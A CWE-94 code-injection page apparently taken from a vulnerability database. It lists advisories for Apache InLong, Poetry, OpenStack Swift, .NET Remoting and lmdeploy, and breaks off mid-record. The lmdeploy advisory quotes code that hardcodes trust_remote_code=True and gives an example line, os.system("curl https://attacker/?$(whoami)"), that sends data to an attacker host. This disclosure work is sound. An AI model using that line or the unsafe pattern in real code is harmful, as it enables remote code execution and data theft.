Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

8335 vulnerabilities reference this CWE, most recent first.

GHSA-9XG9-HH45-XCM6

Vulnerability from github – Published: 2024-01-03 12:30 – Updated: 2025-02-13 19:30
VLAI
Summary
Apache InLong Manager Remote Code Execution vulnerability
Details

Improper Control of Generation of Code ('Code Injection') vulnerability in Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.9.0, which could lead to Remote Code Execution. Users are advised to upgrade to Apache InLong's 1.10.0 or cherry-pick [1] to solve it.

[1] https://github.com/apache/inlong/pull/9329

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.inlong:manager-pojo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51784"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-03T22:03:13Z",
    "nvd_published_at": "2024-01-03T10:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in Apache InLong.This issue affects Apache InLong: from 1.5.0 through 1.9.0, which could lead to Remote Code Execution.\u00a0Users are advised to upgrade to Apache InLong\u0027s 1.10.0 or cherry-pick [1] to solve it.\n\n[1]  https://github.com/apache/inlong/pull/9329",
  "id": "GHSA-9xg9-hh45-xcm6",
  "modified": "2025-02-13T19:30:07Z",
  "published": "2024-01-03T12:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51784"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/inlong/pull/9329"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/inlong/commit/1607837be28438c0ccae8da15afb653f2afed090"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/inlong"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/4nxbyl6mh5jgh0plk0qposbxwn6w9h8j"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2024/01/03/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache InLong Manager Remote Code Execution vulnerability"
}

GHSA-9XGJ-FCGF-X6MW

Vulnerability from github – Published: 2022-09-16 19:26 – Updated: 2024-10-21 20:25
VLAI
Summary
Poetry Argument Injection can lead to Local Code Execution
Details

Observation

When handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.

To clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:

poetry/core/vcs/git.py:

def clone(self, repository: str, dest: Path) -> str:
    return self.run("clone", "--recurse-submodules", repository, str(dest))

Since this value comes from the pyproject.toml file, it can contain any character, including a leading dash.

Impact

This vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems. Since this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory. This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.

Patches

1.1.8 || 1.2.0b1

Remediation

Upgrade to version 1.1.9 || 1.2.0b1

References

Fix PR

For more information

If you have any questions or comments about this advisory, email us at security@python-poetry.org

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "poetry"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-36069"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-88",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-16T19:26:59Z",
    "nvd_published_at": "2022-09-07T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Observation\n\nWhen handling dependencies that come from a Git repository instead of a registry, Poetry uses various commands, such as `git clone`. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Poetry correctly avoids Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (`-`) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables.\n\nTo clone a repository, Poetry builds a git clone command, but fails to validate or sanitize the repository location properly:\n\n[`poetry/core/vcs/git.py`](https://github.com/python-poetry/poetry-core/blob/ad33bc2f92be03dc5b31a666664903c439fb1173/poetry/core/vcs/git.py#L207):\n\n```python\ndef clone(self, repository: str, dest: Path) -\u003e str:\n    return self.run(\"clone\", \"--recurse-submodules\", repository, str(dest))\n```\n\nSince this value comes from the `pyproject.toml` file, it can contain any character, including a leading dash.\n\n### Impact\n\nThis vulnerability can lead to Arbitrary Code Execution, which would lead to the takeover of the system. If a developer is exploited, the attacker could steal credentials or persist their access. If the exploit happens on a server, the attackers could use their access to attack other internal systems.\nSince this vulnerability requires a fair amount of user interaction, it is not as dangerous as a remotely exploitable one. However, it still puts developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by vetting any Git or Poetry config files that might be present in the directory.\nThis kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on, so we believe that there is a non-negligible risk.\n\n### Patches\n\n1.1.8 || 1.2.0b1\n\n### Remediation\n\nUpgrade to version 1.1.9 || 1.2.0b1\n\n### References\n\n[Fix PR](https://github.com/python-poetry/poetry-core/pull/202)\n\n### For more information\nIf you have any questions or comments about this advisory, email us at [security@python-poetry.org](mailto:security@python-poetry.org)\n",
  "id": "GHSA-9xgj-fcgf-x6mw",
  "modified": "2024-10-21T20:25:55Z",
  "published": "2022-09-16T19:26:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/security/advisories/GHSA-9xgj-fcgf-x6mw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36069"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/poetry/PYSEC-2022-266.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-poetry/poetry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.1.9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-poetry/poetry/releases/tag/1.2.0b1"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/securing-developer-tools-package-managers"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Poetry Argument Injection can lead to Local Code Execution"
}

GHSA-9XGV-6V35-MMCJ

Vulnerability from github – Published: 2022-05-14 02:10 – Updated: 2024-05-14 21:30
VLAI
Summary
OpenStack Swift Unchecked user input in XML responses
Details

XML injection vulnerability in account/utils.py in OpenStack Swift Folsom, Grizzly, and Havana allows attackers to trigger invalid or spoofed Swift responses via an account name.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "swift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-2161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-14T21:30:51Z",
    "nvd_published_at": "2013-08-20T22:55:00Z",
    "severity": "HIGH"
  },
  "details": "XML injection vulnerability in account/utils.py in OpenStack Swift Folsom, Grizzly, and Havana allows attackers to trigger invalid or spoofed Swift responses via an account name.",
  "id": "GHSA-9xgv-6v35-mmcj",
  "modified": "2024-05-14T21:30:51Z",
  "published": "2022-05-14T02:10:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2161"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/swift/commit/6659382c4fa348e1ebbce2424968dd7267ea1db1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openstack/swift/commit/8f9b135e0a16478a628f20224ce5babe62d4aaba"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/swift/+bug/1183884"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openstack/swift"
    },
    {
      "type": "WEB",
      "url": "http://github.com/openstack/swift/commit/4eed6bf5b5028409f730be97ddcfb6bfa893c976"
    },
    {
      "type": "WEB",
      "url": "http://github.com/openstack/swift/commit/92d7eadd328797d392758c79e258c8455874c80e"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2013-07/msg00021.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-0993.html"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2012/dsa-2737"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2013/06/13/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "OpenStack Swift Unchecked user input in XML responses"
}

GHSA-9XM9-P5V4-94Q8

Vulnerability from github – Published: 2022-05-14 02:32 – Updated: 2022-05-14 02:32
VLAI
Details

The .NET Remoting implementation in Microsoft .NET Framework 1.1 SP1, 2.0 SP2, 3.5, 3.5.1, 4, 4.5, and 4.5.1 does not properly restrict memory access, which allows remote attackers to execute arbitrary code via vectors involving malformed objects, aka "TypeFilterLevel Vulnerability."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2014-1806"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-14T11:13:00Z",
    "severity": "HIGH"
  },
  "details": "The .NET Remoting implementation in Microsoft .NET Framework 1.1 SP1, 2.0 SP2, 3.5, 3.5.1, 4, 4.5, and 4.5.1 does not properly restrict memory access, which allows remote attackers to execute arbitrary code via vectors involving malformed objects, aka \"TypeFilterLevel Vulnerability.\"",
  "id": "GHSA-9xm9-p5v4-94q8",
  "modified": "2022-05-14T02:32:02Z",
  "published": "2022-05-14T02:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1806"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-026"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/67286"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-9XQ9-36W5-Q796

Vulnerability from github – Published: 2026-05-21 19:33 – Updated: 2026-06-10 13:41
VLAI
Summary
lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out
Details

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim: * It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it. * It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim: * Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name. * LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30). * The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.


F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

  • Repository: github.com/InternLM/lmdeploy, branch main.
  • Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
  • Pinned blob SHAs:
  • lmdeploy/archs.py68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.pyb1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

  1. HF Transformers downloads the .py file from the repo.
  2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
  3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

  • Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
  • CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
  • Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

Project trust_remote_code default User control
HuggingFace Transformers False trust_remote_code keyword arg
vLLM False --trust-remote-code flag
LMDeploy True (hardcoded) None
TGI False --trust-remote-code flag

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

  1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
  2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
  3. 90-day coordinated-disclosure window starting from acknowledgement.
  4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-915",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T19:33:32Z",
    "nvd_published_at": "2026-06-10T00:16:53Z",
    "severity": "HIGH"
  },
  "details": "\u003e ## \ud83d\udccb Reframing (2026-05-02): implicit unsafe remote-code path, not \"supply-chain\"\n\u003e\n\u003e The accurate description of this vulnerability is:\n\u003e **\"`get_model_arch` and related helpers hardcode `trust_remote_code=True`\n\u003e with no opt-out, creating an implicit unsafe remote-code load path\n\u003e on every model fetch.\"**\n\u003e\n\u003e What this report does NOT claim:\n\u003e * It is NOT a network-attack RCE \u2014 the user supplies the model\n\u003e   reference; LMDeploy honors it.\n\u003e * It is NOT a \"supply chain\" CVE in the classical sense (where a\n\u003e   benign upstream is compromised) \u2014 the user explicitly types the\n\u003e   repo name.\n\u003e\n\u003e What this report DOES claim:\n\u003e * Other inference frameworks (vLLM, TGI, Hugging Face transformers\n\u003e   itself) all expose `--trust-remote-code` as **opt-in** so that\n\u003e   users who consciously load known-safe repos can opt in, while\n\u003e   users following a tutorial cannot accidentally execute attacker\n\u003e   Python by typing a wrong repo name.\n\u003e * LMDeploy\u0027s hardcoded True is an **implicit** trust-boundary\n\u003e   override that violates HF Transformers\u0027 default-secure stance\n\u003e   (`trust_remote_code=False` since transformers \u2265 4.30).\n\u003e * The fix is a one-line CLI flag (`--trust-remote-code`) defaulting\n\u003e   False, threaded through the three sites, matching the rest of\n\u003e   the ecosystem.\n\u003e\n\u003e Severity should be assessed as **hardening / safe-by-default**,\n\u003e not as full unauthenticated RCE. CVSS revised to **5.5 Medium**\n\u003e (`AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u00d7 user-must-load qualifier).\n\u003e\n\u003e Runtime evidence: see `12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt`.\n\n---\n\n# F13 \u2014 LMDeploy: hardcoded `trust_remote_code=True` enables HF supply-chain RCE without user opt-in\n\n**Reporter:** ibondarenko1 / sactransport2000@gmail.com\n**Coordinated-disclosure window:** 90 days from initial vendor email.\n\n## TL;DR\n\nLMDeploy unilaterally passes `trust_remote_code=True` to\n`transformers.AutoConfig.from_pretrained()` (and several other\n`from_pretrained` callers) **regardless of any user opt-in**. The\nflag is hardcoded `True` in source \u2014 there is no CLI flag, no\nenvironment variable, no parameter, and no warning that lets a\nuser refuse remote code execution from the model repository.\nThis is a **silent override of HuggingFace Transformers\u0027 own\ndefault-secure stance** (`trust_remote_code=False`) introduced\nin HF Transformers \u2265 4.30 specifically to prevent this class of\nsupply-chain RCE.\n\nThe user running `lmdeploy serve api_server \u003cattacker_repo\u003e`,\n`lmdeploy lite calibrate \u003cattacker_repo\u003e`, etc. has **no way to\nopt out**. The only escape hatch is for the user to never load\nany third-party HF repo with LMDeploy \u2014 which is incompatible\nwith LMDeploy\u0027s documented use case.\n\nHuggingFace\u0027s `trust_remote_code=False` default exists exactly to\nprevent silent RCE when loading a third-party repo. LMDeploy overrides\nthis default, restoring the unsafe behaviour transparently. A malicious\nHF repo with a `configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n  (2026-05-02).\n* Pinned blob SHAs:\n  * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n  * `lmdeploy/lite/apis/calibrate.py` \u2192\n    `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n  * `lmdeploy/lite/utils/load.py` \u2192\n    `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n  * `lmdeploy/pytorch/check_env/model.py` \u2192\n    `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n    \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n    ...\n    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n   top-level code** (any `print`, `os.system`, `subprocess.run`,\n   `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n  `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n  configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n  `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n    try:\n        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n    except Exception as e:  # noqa\n        from transformers import PretrainedConfig\n        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n   GitHub Security Advisory at\n   `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n   change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
  "id": "GHSA-9xq9-36w5-q796",
  "modified": "2026-06-10T13:41:20Z",
  "published": "2026-05-21T19:33:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
